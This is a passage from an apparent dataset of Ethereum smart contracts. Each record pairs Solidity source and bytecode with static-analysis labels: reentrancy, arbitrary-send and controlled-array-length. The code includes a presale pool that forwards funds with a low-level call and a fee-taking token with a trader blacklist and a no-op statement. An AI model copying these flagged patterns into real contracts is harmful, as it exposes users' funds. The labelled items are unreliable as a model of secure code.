1505060405180910390203373ffffffffffffffffffffffffffffffffffffffff1661189b826106f5565b73ffffffffffffffffffffffffffffffffffffffff161415156118bd57600080fd5b836040518082805190602001908083835b6020831015156118f357805182526020820191506020810190506020830392506118ce565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902091508273ffffffffffffffffffffffffffffffffffffffff1660016000846000191660001916815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16856040518082805190602001908083835b6020831015156119c4578051825260208201915060208101905060208303925061199f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019167f06e9c07310f63759634ddbb7257dbb19ca404f90bd6bdef1d3386fab033cebce60405160405180910390a48260016000846000191660001916815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306ab59238686306040518463ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180846000191660001916815260200183600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b1515611b6157600080fd5b6102c65a03f11515611b7257600080fd5b5050508484604051808360001916600019168152602001826000191660001916815260200192505050604051809103902090506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631896f70a82846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b1515611c7057600080fd5b6102c65a03f11515611c8157600080fd5b5050508173ffffffffffffffffffffffffffffffffffffffff1663d5fa2b0082856040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b1515611d2e57600080fd5b6102c65a03f11515611d3f57600080fd5b5050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b0fc9c382856040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b1515611e0d57600080fd5b6102c65a03f11515611e1e57600080fd5b5050505050505050565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611e7d57805160ff1916838001178555611eab565b82800160010185558215611eab579182015b82811115611eaa578251825591602001919060010190611e8f565b5b509050611eb89190611ebc565b5090565b611ede91905b80821115611eda576000816000905550600101611ec2565b5090565b905600a165627a7a7230582041a6435dd93573935c3578cc0f72e50c975bca17258053e2ace2e23c9954730d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,485 |
0xf122d58b7a4083f103b7336ab05b78d7c6a02a37
|
pragma solidity ^0.4.19;
// Wolf Crypto pooling contract for Quant Network Overledger
// written by @iamdefinitelyahuman
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
}
contract PresalePool {
// SafeMath is a library to ensure that math operations do not have overflow errors
// https://zeppelin-solidity.readthedocs.io/en/latest/safemath.html
using SafeMath for uint;
// The contract has 3 stages:
// 1 - The initial state. Contributors can deposit or withdraw eth to the contract.
// 2 - The owner has closed the contract for further deposits. Contributing addresses can still withdraw eth from the contract.
// 3 - The eth is sent from the contract to the receiver. Unused eth can be claimed by contributors immediately.
// Once tokens are sent to the contract, the owner enables withdrawals and contributors can withdraw their tokens.
uint8 public contractStage = 1;
// These variables are set at the time of contract creation
// the address that creates the contract
address public owner;
// the minimum eth amount (in wei) that can be sent by a contributing address
uint constant public contributionMin = 100000000000000000;
// the maximum eth amount (in wei) that can be held by the contract
uint public maxContractBalance;
// the % of tokens kept by the contract owner
uint public feePct;
// the address that the pool will be paid out to
address public receiverAddress;
// These variables are all initially blank and are set at some point during the contract
// the amount of eth (in wei) present in the contract when it was submitted
uint public finalBalance;
// an array containing eth amounts to be refunded in stage 3
uint[] public ethRefundAmount;
// the default token contract to be used for withdrawing tokens in stage 3
address public activeToken;
// a data structure for holding the contribution amount, eth refund status, and token withdrawal status for each address
struct Contributor {
uint ethRefund;
uint balance;
mapping (address => uint) tokensClaimed;
}
// a mapping that holds the contributor struct for each address
mapping (address => Contributor) contributorMap;
// a data structure for holding information related to token withdrawals.
struct TokenAllocation {
ERC20 token;
uint[] pct;
uint balanceRemaining;
}
// a mapping that holds the token allocation struct for each token address
mapping (address => TokenAllocation) distributionMap;
// this modifier is used for functions that can only be accessed by the contract creator
modifier onlyOwner () {
require (msg.sender == owner);
_;
}
// this modifier is used to prevent re-entrancy exploits during contract > contract interaction
bool locked;
modifier noReentrancy() {
require (!locked);
locked = true;
_;
locked = false;
}
// Events triggered throughout contract execution
// These can be watched via geth filters to keep up-to-date with the contract
event ContributorBalanceChanged (address contributor, uint totalBalance);
event PoolSubmitted (address receiver, uint amount);
event WithdrawalsOpen (address tokenAddr);
event TokensWithdrawn (address receiver, uint amount);
event EthRefundReceived (address sender, uint amount);
event EthRefunded (address receiver, uint amount);
event ERC223Received (address token, uint value);
// These are internal functions used for calculating fees, eth and token allocations as %
// returns a value as a % accurate to 20 decimal points
function _toPct (uint numerator, uint denominator ) internal pure returns (uint) {
return numerator.mul(10 ** 20) / denominator;
}
// returns % of any number, where % given was generated with toPct
function _applyPct (uint numerator, uint pct) internal pure returns (uint) {
return numerator.mul(pct) / (10 ** 20);
}
// This function is called at the time of contract creation,
// it sets the initial variables and the contract owner.
function PresalePool(address receiverAddr, uint contractMaxInWei, uint fee) public {
require (fee < 100);
require (receiverAddr != 0x00);
owner = msg.sender;
receiverAddress = receiverAddr;
maxContractBalance = contractMaxInWei;
feePct = _toPct(fee,100);
}
// This function is called whenever eth is sent into the contract.
// The amount sent is added to the balance in the Contributor struct associated with the sending address.
function () payable public {
if (contractStage == 1) {
_ethDeposit();
} else if (contractStage == 3) {
_ethRefund();
} else revert();
}
// Internal function for handling eth deposits during contract stage one.
function _ethDeposit () internal {
assert (contractStage == 1);
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require (size == 0);
require (this.balance <= maxContractBalance);
var c = contributorMap[msg.sender];
uint newBalance = c.balance.add(msg.value);
require (newBalance >= contributionMin);
c.balance = newBalance;
ContributorBalanceChanged(msg.sender, newBalance);
}
// Internal function for handling eth refunds during stage three.
function _ethRefund () internal {
assert (contractStage == 3);
require (msg.sender == owner || msg.sender == receiverAddress);
require (msg.value >= contributionMin);
ethRefundAmount.push(msg.value);
EthRefundReceived(msg.sender, msg.value);
}
// This function is called to withdraw eth or tokens from the contract. It can only be called by addresses that show a balance greater than 0.
// If called during stages one or two, the full eth balance deposited into the contract is returned and the contributor's balance reset to 0.
// If called during stage three, the contributor's unused eth will be returned, as well as any available tokens.
// The token address may be provided optionally to withdraw tokens that are not currently the default token (airdrops).
function withdraw (address tokenAddr) public {
var c = contributorMap[msg.sender];
require (c.balance > 0);
if (contractStage < 3) {
uint amountToTransfer = c.balance;
c.balance = 0;
msg.sender.transfer(amountToTransfer);
ContributorBalanceChanged(msg.sender, 0);
} else {
_withdraw(msg.sender, tokenAddr);
}
}
// This function allows the contract owner to force a withdrawal to any contributor.
function withdrawFor (address contributor, address tokenAddr) public onlyOwner {
require (contractStage == 3);
require (contributorMap[contributor].balance > 0);
_withdraw(contributor, tokenAddr);
}
// This internal function handles withdrawals during stage three.
// The associated events will fire to notify when a refund or token allocation is claimed.
function _withdraw (address receiver, address tokenAddr) internal {
assert (contractStage == 3);
var c = contributorMap[receiver];
if (tokenAddr == 0x00) {
tokenAddr = activeToken;
}
var d = distributionMap[tokenAddr];
require ( ethRefundAmount.length > c.ethRefund || d.pct.length > c.tokensClaimed[tokenAddr] );
if (ethRefundAmount.length > c.ethRefund) {
uint pct = _toPct(c.balance, finalBalance);
uint ethAmount = 0;
for (uint i = c.ethRefund; i < ethRefundAmount.length; i++) {
ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i], pct));
}
c.ethRefund = ethRefundAmount.length;
if (ethAmount > 0) {
receiver.transfer(ethAmount);
EthRefunded(receiver, ethAmount);
}
}
if (d.pct.length > c.tokensClaimed[tokenAddr]) {
uint tokenAmount = 0;
for (i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i]));
}
c.tokensClaimed[tokenAddr] = d.pct.length;
if (tokenAmount > 0) {
require (d.token.transfer(receiver, tokenAmount));
d.balanceRemaining = d.balanceRemaining.sub(tokenAmount);
TokensWithdrawn(receiver, tokenAmount);
}
}
}
// This function can be called during stages one or two to modify the maximum balance of the contract.
// It can only be called by the owner. The amount cannot be set to lower than the current balance of the contract.
function modifyMaxContractBalance (uint amount) public onlyOwner {
require (contractStage < 3);
require (amount >= contributionMin);
require (amount >= this.balance);
maxContractBalance = amount;
}
// This callable function returns the total pool cap, current balance and remaining balance to be filled.
function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) {
if (contractStage == 1) {
remaining = maxContractBalance.sub(this.balance);
} else {
remaining = 0;
}
return (maxContractBalance,this.balance,remaining);
}
// This callable function returns the balance, contribution cap, and remaining available balance of any contributor.
function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) {
var c = contributorMap[addr];
if (contractStage == 1) {
remaining = maxContractBalance.sub(this.balance);
} else {
remaining = 0;
}
return (c.balance, maxContractBalance, remaining);
}
// This callable function returns the token balance that a contributor can currently claim.
function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) {
var c = contributorMap[addr];
var d = distributionMap[tokenAddr];
for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i]));
}
return tokenAmount;
}
// This function closes further contributions to the contract, advancing it to stage two.
// It can only be called by the owner. After this call has been made, contributing addresses
// can still remove their eth from the contract but cannot contribute any more.
function closeContributions () public onlyOwner {
require (contractStage == 1);
contractStage = 2;
}
// This function reopens the contract to contributions, returning it to stage one.
// It can only be called by the owner during stage two.
function reopenContributions () public onlyOwner {
require (contractStage == 2);
contractStage = 1;
}
// This function sends the pooled eth to the receiving address, calculates the % of unused eth to be returned,
// and advances the contract to stage three. It can only be called by the contract owner during stages one or two.
// The amount to send (given in wei) must be specified during the call. As this function can only be executed once,
// it is VERY IMPORTANT not to get the amount wrong.
function submitPool (uint amountInWei) public onlyOwner noReentrancy {
require (contractStage < 3);
require (contributionMin <= amountInWei && amountInWei <= this.balance);
finalBalance = this.balance;
require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))());
if (this.balance > 0) ethRefundAmount.push(this.balance);
contractStage = 3;
PoolSubmitted(receiverAddress, amountInWei);
}
// This function opens the contract up for token withdrawals.
// It can only be called by the owner during stage 3. The owner specifies the address of an ERC20 token
// contract that this contract has a balance in, and optionally a bool to prevent this token from being
// the default withdrawal (in the event of an airdrop, for example).
function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy {
require (contractStage == 3);
if (notDefault) {
require (activeToken != 0x00);
} else {
activeToken = tokenAddr;
}
var d = distributionMap[tokenAddr];
if (d.pct.length == 0) d.token = ERC20(tokenAddr);
uint amount = d.token.balanceOf(this).sub(d.balanceRemaining);
require (amount > 0);
if (feePct > 0) {
require (d.token.transfer(owner,_applyPct(amount, feePct)));
}
amount = d.token.balanceOf(this).sub(d.balanceRemaining);
d.balanceRemaining = d.token.balanceOf(this);
d.pct.push(_toPct(amount, finalBalance));
WithdrawalsOpen(tokenAddr);
}
// This is a standard function required for ERC223 compatibility.
function tokenFallback (address from, uint value, bytes data) public {
ERC223Received(from, value);
}
}
|
0x6060604052600436106100f85763ffffffff60e060020a600035041663021bc97481146101305780630370ca411461016757806316fed3e2146101905780632129e25a146101bf57806333e7ed61146101e45780634fbc7e11146101fa57806351cff8d91461021e57806352f1e07b1461023d57806365fcb49e14610253578063737c2d8c146102665780638796d43d1461028b5780638c60e8061461029e5780638da5cb5b146102b1578063a02cf937146102c4578063abccb043146102d7578063adb5735c146102ed578063b9c009f014610312578063bcc13d1d14610331578063c0ee0b8a14610344578063cd336707146103a9575b60005460ff16600114156101135761010e6103bc565b61012e565b60005460ff16600314156101295761010e610495565b600080fd5b005b341561013b57600080fd5b61014361055e565b60405180848152602001838152602001828152602001935050505060405180910390f35b341561017257600080fd5b61017a6105af565b60405160ff909116815260200160405180910390f35b341561019b57600080fd5b6101a36105b8565b604051600160a060020a03909116815260200160405180910390f35b34156101ca57600080fd5b6101d26105c7565b60405190815260200160405180910390f35b34156101ef57600080fd5b61012e6004356105cd565b341561020557600080fd5b61012e600160a060020a0360043516602435151561073e565b341561022957600080fd5b61012e600160a060020a0360043516610ac8565b341561024857600080fd5b6101d2600435610b9a565b341561025e57600080fd5b6101d2610bb9565b341561027157600080fd5b6101d2600160a060020a0360043581169060243516610bbf565b341561029657600080fd5b6101a3610c4e565b34156102a957600080fd5b61012e610c5d565b34156102bc57600080fd5b6101a3610c9e565b34156102cf57600080fd5b6101d2610cb2565b34156102e257600080fd5b61012e600435610cb8565b34156102f857600080fd5b61012e600160a060020a0360043581169060243516610d1d565b341561031d57600080fd5b610143600160a060020a0360043516610d83565b341561033c57600080fd5b6101d2610de9565b341561034f57600080fd5b61012e60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610df595505050505050565b34156103b457600080fd5b61012e610e3e565b6000805481908190819060ff166001146103d257fe5b33803b9450925083156103e457600080fd5b600154600160a060020a0330163111156103fd57600080fd5b600160a060020a0333166000908152600760205260409020600181015490925061042d903463ffffffff610e7f16565b905067016345785d8a000081101561044457600080fd5b600182018190557fbd5304e38e372b10ebf161f6b67eeaf9f4e25653126622b0e2497484850d10f43382604051600160a060020a03909216825260208201526040908101905180910390a150505050565b60005460ff166003146104a457fe5b60005433600160a060020a039081166101009092041614806104d4575060035433600160a060020a039081169116145b15156104df57600080fd5b67016345785d8a00003410156104f457600080fd5b60058054600181016105068382611254565b50600091825260209091203491018190557fa6b266978e1d6bcae9b5baa4078b3b92fc622b302cca549cf2ebf2e4723aca3c903390604051600160a060020a03909216825260208201526040908101905180910390a1565b600080548190819060ff16600114156105955760015461058e90600160a060020a0330163163ffffffff610e9916565b9050610599565b5060005b6001549330600160a060020a0316319350909150565b60005460ff1681565b600354600160a060020a031681565b60045481565b60005433600160a060020a0390811661010090920416146105ed57600080fd5b60095460ff16156105fd57600080fd5b6009805460ff19166001179055600054600360ff919091161061061f57600080fd5b8067016345785d8a000011158015610641575030600160a060020a0316318111155b151561064c57600080fd5b600160a060020a033081163160045560035416816106736113885a9063ffffffff610e9916565b90604051600060405180830381858888f19350505050151561069457600080fd5b600030600160a060020a03163111156106d35760058054600181016106b98382611254565b5060009182526020909120600160a060020a033016319101555b6000805460ff19166003908117909155547f166428c0f697cf2ebca7e4045ddec0f48bb4914f5ffac8765da1551e2881a51990600160a060020a031682604051600160a060020a03909216825260208201526040908101905180910390a1506009805460ff19169055565b60008054819033600160a060020a03908116610100909204161461076157600080fd5b60095460ff161561077157600080fd5b60098054600160ff1990911617905560005460ff1660031461079257600080fd5b82156107b457600654600160a060020a031615156107af57600080fd5b6107dd565b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0386161790555b600160a060020a03841660009081526008602052604090206001810154909250151561082a57815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161782555b600282015482546108b39190600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561088c57600080fd5b6102c65a03f1151561089d57600080fd5b505050604051805191905063ffffffff610e9916565b9050600081116108c257600080fd5b6000600254111561096b578154600054600254600160a060020a039283169263a9059cbb92610100900416906108f9908590610eab565b60006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561094557600080fd5b6102c65a03f1151561095657600080fd5b50505060405180519050151561096b57600080fd5b600282015482546109cd9190600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561088c57600080fd5b8254909150600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610a2857600080fd5b6102c65a03f11515610a3957600080fd5b50505060405180516002840155506001808301805490918101610a5c8382611254565b91600052602060002090016000610a7584600454610ed8565b909155507f090d94ccda2f6ef769c6d89c27dd1978f1e52e5295f5d5dba2f2ab90f22a4b07905084604051600160a060020a03909116815260200160405180910390a150506009805460ff191690555050565b600160a060020a03331660009081526007602052604081206001810154909190819011610af457600080fd5b600054600360ff9091161015610b8b57506001810180546000909155600160a060020a03331681156108fc0282604051600060405180830381858888f193505050501515610b4157600080fd5b7fbd5304e38e372b10ebf161f6b67eeaf9f4e25653126622b0e2497484850d10f4336000604051600160a060020a03909216825260208201526040908101905180910390a1610b95565b610b953384610ef4565b505050565b6005805482908110610ba857fe5b600091825260209091200154905081565b60015481565b600160a060020a038083166000908152600760209081526040808320938516835260088252808320600285019092528220549192915b6001820154811015610c4557610c3b610c2e84600101548460010184815481101515610c1d57fe5b906000526020600020900154610eab565b859063ffffffff610e7f16565b9350600101610bf5565b50505092915050565b600654600160a060020a031681565b60005433600160a060020a039081166101009092041614610c7d57600080fd5b60005460ff16600114610c8f57600080fd5b6000805460ff19166002179055565b6000546101009004600160a060020a031681565b60025481565b60005433600160a060020a039081166101009092041614610cd857600080fd5b600054600360ff90911610610cec57600080fd5b67016345785d8a0000811015610d0157600080fd5b600160a060020a03301631811015610d1857600080fd5b600155565b60005433600160a060020a039081166101009092041614610d3d57600080fd5b60005460ff16600314610d4f57600080fd5b600160a060020a03821660009081526007602052604081206001015411610d7557600080fd5b610d7f8282610ef4565b5050565b600160a060020a038116600090815260076020526040812081548291829160ff1660011415610dd057600154610dc990600160a060020a0330163163ffffffff610e9916565b9150610dd5565b600091505b600190810154905490959094509092509050565b67016345785d8a000081565b7f121b68c1c3978d37f853f81c5ba5a0d2d36bb308e0765a3d6eb906c01ebdfe888383604051600160a060020a03909216825260208201526040908101905180910390a1505050565b60005433600160a060020a039081166101009092041614610e5e57600080fd5b60005460ff16600214610e7057600080fd5b6000805460ff19166001179055565b600082820183811015610e8e57fe5b8091505b5092915050565b600082821115610ea557fe5b50900390565b600068056bc75e2d63100000610ec7848463ffffffff61122916565b811515610ed057fe5b049392505050565b600081610ec78468056bc75e2d6310000063ffffffff61122916565b600080548190819081908190819060ff16600314610f0e57fe5b600160a060020a038089166000908152600760205260409020965087161515610f4057600654600160a060020a031696505b600160a060020a03871660009081526008602052604090208654600554919650901180610f8a5750600160a060020a03871660009081526002870160205260409020546001860154115b1515610f9557600080fd5b8554600554111561108b57610fb08660010154600454610ed8565b86549094506000935091505b60055482101561100757610ffa610fed600584815481101515610fdb57fe5b90600052602060002090015486610eab565b849063ffffffff610e7f16565b9250600190910190610fbc565b6005548655600083111561108b57600160a060020a03881683156108fc0284604051600060405180830381858888f19350505050151561104657600080fd5b7fffab3269bdaceca4d1bbc53e74b982ac2b306687e17e21f1e499e7fdf6751ac88884604051600160a060020a03909216825260208201526040908101905180910390a15b600160a060020a03871660009081526002870160205260409020546001860154111561121f575050600160a060020a0385166000908152600285016020526040812054905b6001850154821015611112576111056110f887600101548760010185815481101515610c1d57fe5b829063ffffffff610e7f16565b60019092019190506110d0565b6001850154600160a060020a038816600090815260028801602052604081209190915581111561121f578454600160a060020a031663a9059cbb898360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561119a57600080fd5b6102c65a03f115156111ab57600080fd5b5050506040518051905015156111c057600080fd5b60028501546111d5908263ffffffff610e9916565b60028601557f6352c5382c4a4578e712449ca65e83cdb392d045dfcf1cad9615189db2da244b8882604051600160a060020a03909216825260208201526040908101905180910390a15b5050505050505050565b60008083151561123c5760009150610e92565b5082820282848281151561124c57fe5b0414610e8e57fe5b815481835581811511610b9557600083815260209020610b9591810190830161129191905b8082111561128d5760008155600101611279565b5090565b905600a165627a7a72305820210dd68d398e3e7b33927a53ff476d198e9f109c61ef6c7770336e5440299cd70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,486 |
0x93d0ac9606ca6bf14a9884e5d451664d115a96ef
|
/*
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract eMastiff is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"eMastiff";
string private constant _symbol = "STIFF";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 8;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (60 seconds);
_teamFee = 8;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= _maxTxAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
